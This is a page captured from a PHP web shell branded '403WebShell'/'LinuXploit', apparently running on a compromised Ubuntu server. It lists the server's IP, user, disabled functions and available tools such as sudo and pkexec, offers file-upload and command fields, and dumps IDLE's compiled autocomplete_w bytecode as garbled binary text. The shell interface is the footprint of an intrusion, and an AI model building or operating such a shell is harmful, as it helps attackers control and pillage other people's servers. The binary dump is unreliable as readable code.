Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3.10/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.10/idlelib/__pycache__/autocomplete_w.cpython-310.pyc
o

�9jiR�@s�dZddlZddlTddlmZddlmZmZddlm	Z	dZ
dZed	fZd
Z
dZdZd
ZdZdZdZGdd�d�ZedkrNddlmZedddd�dSdS)zH
An auto-completion window for IDLE, used by the autocomplete extension
�N)�*)�	Scrollbar)�FILES�ATTRS)�MC_SHIFTz<<autocompletewindow-hide>>z
<FocusOut>z
<ButtonPress>z<<autocompletewindow-keypress>>)z<Key>z<Key-BackSpace>z<Key-Return>z	<Key-Tab>z<Key-Up>z
<Key-Down>z
<Key-Home>z	<Key-End>z<Key-Prior>z
<Key-Next>z<Key-Escape>z!<<autocompletewindow-keyrelease>>z<KeyRelease>z<B1-ButtonRelease>z<Configure>z<B1-Double-ButtonRelease>c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!S)"�AutoCompleteWindowcCs�||_||_d|_|_|_d|_|_d|_d|_d|_	d|_
d|_d|_d|_
d|_|_|_|_|_|_d|_d|_dS)NF)�widget�tags�autocompletewindow�listbox�	scrollbar�origselforeground�origselbackground�completions�morecompletions�mode�start�
startindex�lasttypedstart�userwantswindow�hideid�
keypressid�listupdateid�winconfigid�keyreleaseid�
doubleclickid�lastkey_was_tab�is_configuring)�selfrr	�r�-/usr/lib/python3.10/idlelib/autocomplete_w.py�__init__s$��
zAutoCompleteWindow.__init__cCs�tt|j�t|��}d}||kr*|j|||kr*|d7}||kr*|j|||ks|t|j�krE|j�d|j|fd|jt|j�f�|t|�kr]|j�d|j|f||d�|j�||_dS)Nr��%s+%dc)�min�lenrr�deleter�insertr	)r�newstart�min_len�irrr �
_change_start@s��
�
z AutoCompleteWindow._change_startcCsZd}t|j�}||kr#||d}|j||kr|}n|d}||kst|t|j�d�S)z�Find the first index in self.completions where completions[i] is
        greater or equal to s, or the last index if there is no such.
        r�r")r%rr$)r�sr*�j�mrrr �_binary_searchNs�z!AutoCompleteWindow._binary_searchc
Cs
|�|�}|j|dt|��|kr|S|d}t|j�}||kr?||d}|j|dt|��|kr7|}n|d}||ks!|d}||krL|j|S|j|}|j|}tt|�t|��}	t|�}||	kr||||kr|d7}||	kr||||kso|d|�S)z�Assuming that s is the prefix of a string in self.completions,
        return the longest string which is a prefix of all the strings which
        s is a prefix of them. If s is not a prefix of a string, return s.
        Nr"r,)r0rr%r$)
rr-�firstr*r.r/�last�
first_comp�	last_compr)rrr �_complete_string[s,

�


�z#AutoCompleteWindow._complete_stringcCs\t|j��d�}|j�|�|j}|j|}|�|�|kr!|}n-tt|�t|��}d}||krH||||krH|d7}||krH||||ks8|d|�}|�	|�|j|dt|j
��|j
krn|jj|j|j
d�dS|jj|j�d�|j�d�d�|jr�|j|_d|_|j�dt�|jD]	}|j�t|�q�|j�|�|j
��|��dSdS)zzCall when the selection of the Listbox has changed.

        Updates the Listbox display and calls _change_start.
        rr"N)�selectbackground�selectforeground�bg�fg)�intr�curselection�seerrr0r$r%r+r�	configurerr
�cgetrr&�ENDr'�
select_set�_selection_changed)r�cursel�lts�selstartr(r)r*�itemrrr rA{s:
�


�
�
�z%AutoCompleteWindow._selection_changedcCsv|\|_|_||_|j�|�|_|j�|jd�|_|rQ|�|j�}|j}|�	|�|�
|�}|j||krQ|t|j�dksM|j|ddt|��|krQ||kS||_|j|_
t|j�|_}	|	�d�|	�d�z
|	j�dd|	jdd�Wn	ty�Ynwt|	td	�|_}
t|	|
jd
d�|_}|jD]}|�t|�q�|�d�|_|�d
�|_ |
j!|j"d�|
j#t$t%d�|j#t&t'dd�|	�(�|j�)|�
|j��|�*�|	�+t,|j-�|_.|j�+t,|j-�|_/|	�0t,t1�t2D]	}
|j�0t,|
�q�|j�+t3|j4�|_5t6D]
}
|j�0t3|
��q|j�+t7|j8�|_9|j�0t7t:�|�+t;|j<�|_=d
|_>|	�+t?|j@�|_A|�+tB|jC�|_DdS)z�Show the autocomplete list, bind events.

        If complete is True, complete the text, and if there is exactly
        one matching completion, don't open a list.
        r'r"Nz+10000+10000z!::tk::unsupported::MacWindowStyle�style�help�noActivates)�orientF)�yscrollcommand�exportselectionr7r6)�command)�side�fillT)rMrN�expand)Errrr�indexr�getrr5r+r0r%rr�Toplevelr
�wm_geometry�wm_overrideredirect�tk�call�_w�TclErrorr�VERTICALr�Listbox�setrr'r?r>r
r�config�yview�pack�RIGHT�Y�LEFT�BOTH�liftr@rA�bind�HIDE_VIRTUAL_EVENT_NAME�
hide_event�hideaid�hidewid�	event_add�HIDE_FOCUS_OUT_SEQUENCE�HIDE_SEQUENCES�KEYPRESS_VIRTUAL_EVENT_NAME�keypress_eventr�KEYPRESS_SEQUENCES�KEYRELEASE_VIRTUAL_EVENT_NAME�keyrelease_eventr�KEYRELEASE_SEQUENCE�LISTUPDATE_SEQUENCE�listselect_eventrr�WINCONFIG_SEQUENCE�winconfig_eventr�DOUBLECLICK_SEQUENCE�doubleclick_eventr)r�
comp_listsrP�completer�userWantsWin�	completedrr*�acwrrrE�seqrrr �show_window�s|



���
����zAutoCompleteWindow.show_windowcCsJ|jrdSd|_|��sdSzk|j}|�|j�|�|j�\}}}}|j}t���	d�r0|�
�|��|��}}	|��|��}
}|�
�t|td|
|��}|��|}
||||	ksb||	krg|
|7}
n|
|	8}
|�d||
f�|��Wn	ty�Ynwt���	d�r�z	|�t|j�Wn	ty�Ynwd|_d|_dS)NT�Windowsrz+%d+%dF)r�	is_activerr<r�bboxr
�platform�system�
startswith�update�winfo_width�winfo_height�winfo_rootxr$�max�winfo_rootyrS�update_idletasksrX�unbindrtr)r�event�text�x�y�cx�cyr|�	acw_width�
acw_height�
text_width�text_height�new_x�new_yrrr ru�sB
��
z"AutoCompleteWindow.winconfig_eventcCsF|jsdSz|j��s|��WdSWdSty"|��YdSw�N)r
�	focus_get�hide_window�KeyError�rrrr �_hide_event_check"s
��z$AutoCompleteWindow._hide_event_checkcCsH|��r |jtjkr|j�d|j�dS|jtjkr"|��dSdSdS)Nr")	r��type�	EventType�FocusOutr�afterr��ButtonPressr��rr�rrr rf.s�zAutoCompleteWindow.hide_eventcCs8|��rd|_t|j��d�}|�|j|�dSdS)NTr)r�rr:rr;r+r�rr�rBrrr rs;s
�z#AutoCompleteWindow.listselect_eventcCs.t|j��d�}|�|j|�|��dS)Nr)r:rr;r+rr�r�rrr rwAsz$AutoCompleteWindow.doubleclick_eventcs|��sdS|j�t|d�r|j}nd}�dkrd|_t��dks.�dvs.|jtkr��dvr�|t@s�t��dkrB|�	|j
��n>�dkrO|�	|j
d	�n1�d
kr\|�	|j
d�n$�dkri|�	|j
d
�nt|j
�dkrv|��dS|�	|j
dd��|j
|_|j
�dt|j
��d��|j
�|�|j
��|��dS�dkr�|��|��dS|jtkr��dvs�|jtkr��dvr�|t@s�t|j
��d�}|j|dt|j
��|j
kr�|jtks�|j
r�|�	|j|�|��dS�dv�r�|�s�d|_t|j
��d�}�dk�rd}nb�dk�rt|j�d}nU�dv�rS|j
�|j
���|j
�d�}�dk�r?td||�}n4�dk�sFJ�tt|j�d||�}n �dk�r`td|d�}n�dk�sgJ�tt|j�d|d�}|j
�|�|j
�|�|��|�	|j|�dS�dk�r�|�s�|j�r�t|j
��d�}|�	|j|�|��dSd|_d|_dSt�fdd�dD���r�dS|j�r�|jdk�r�|�	|j
|j�|j
|_|j
�dt|j
��d��|j
�|�|j
��|��dS|��dS) N�mc_stater�TabFr")�
underscore�	BackSpace)�period�minusr��_r��.r��-����break�Return)r��space�	parenleft�
parenright�bracketleft�bracketright)�slash�	backslash�quotedbl�
apostrophe)�Home�End�Prior�Next�Up�DownTr�r�)r�r�r�r�r�r�c3s�|]}|�vVqdSr�r)�.0r-��keysymrr �	<genexpr>�s�z4AutoCompleteWindow.keypress_event.<locals>.<genexpr>)�Shift�Control�Alt�Meta�Command�Option� )r�r��hasattrr�rr%rrrr+rr�rr�select_clearr:r;r@r0rAryrrr�nearestr�r�r$�any�char)rr��staterB�newsel�jumprr�r rmGs�
�����
�



�

z!AutoCompleteWindow.keypress_eventcCsD|��sdS|j�d�|j�d|jt|j�f�kr |��dSdS)Nr'r#)r�rrPrr%rr�r�rrr rp�s
��z#AutoCompleteWindow.keyrelease_eventcCs
|jduSr�)r
r�rrr r��s
zAutoCompleteWindow.is_activecCs|�|�|j��dSr�)r+r5rr�rrr ry�szAutoCompleteWindow.completecCs |��sdS|j�tt�tD]	}|j�t|�q|j�t|j�|j�t|j	�d|_d|_	t
D]	}|j�t|�q1|j�t|j�d|_|j�t
t�|j�t
|j�d|_|j�t|j�d|_|jrq|j�t|j�d|_|j��|j��d|_|j��d|_|j��d|_dSr�)r�r
�event_deletererjrkrr�rgrhrnrlrrorqrrrrrrrt�	focus_setr�destroy)rr}rrr r��s@��




zAutoCompleteWindow.hide_windowN)�__name__�
__module__�__qualname__r!r+r0r5rAr~rur�rfrsrwrmrpr�ryr�rrrr rs"#
 &M4
tr�__main__)�mainz%idlelib.idle_test.test_autocomplete_wr,F)�	verbosity�exit)�__doc__r��tkinter�tkinter.ttkr�idlelib.autocompleterr�idlelib.multicallrrerjrkrlrnrorqrrrtrvrr��unittestr�rrrr �<module>s0Z�

Youez - 2016 - github.com/yon3zu
LinuXploit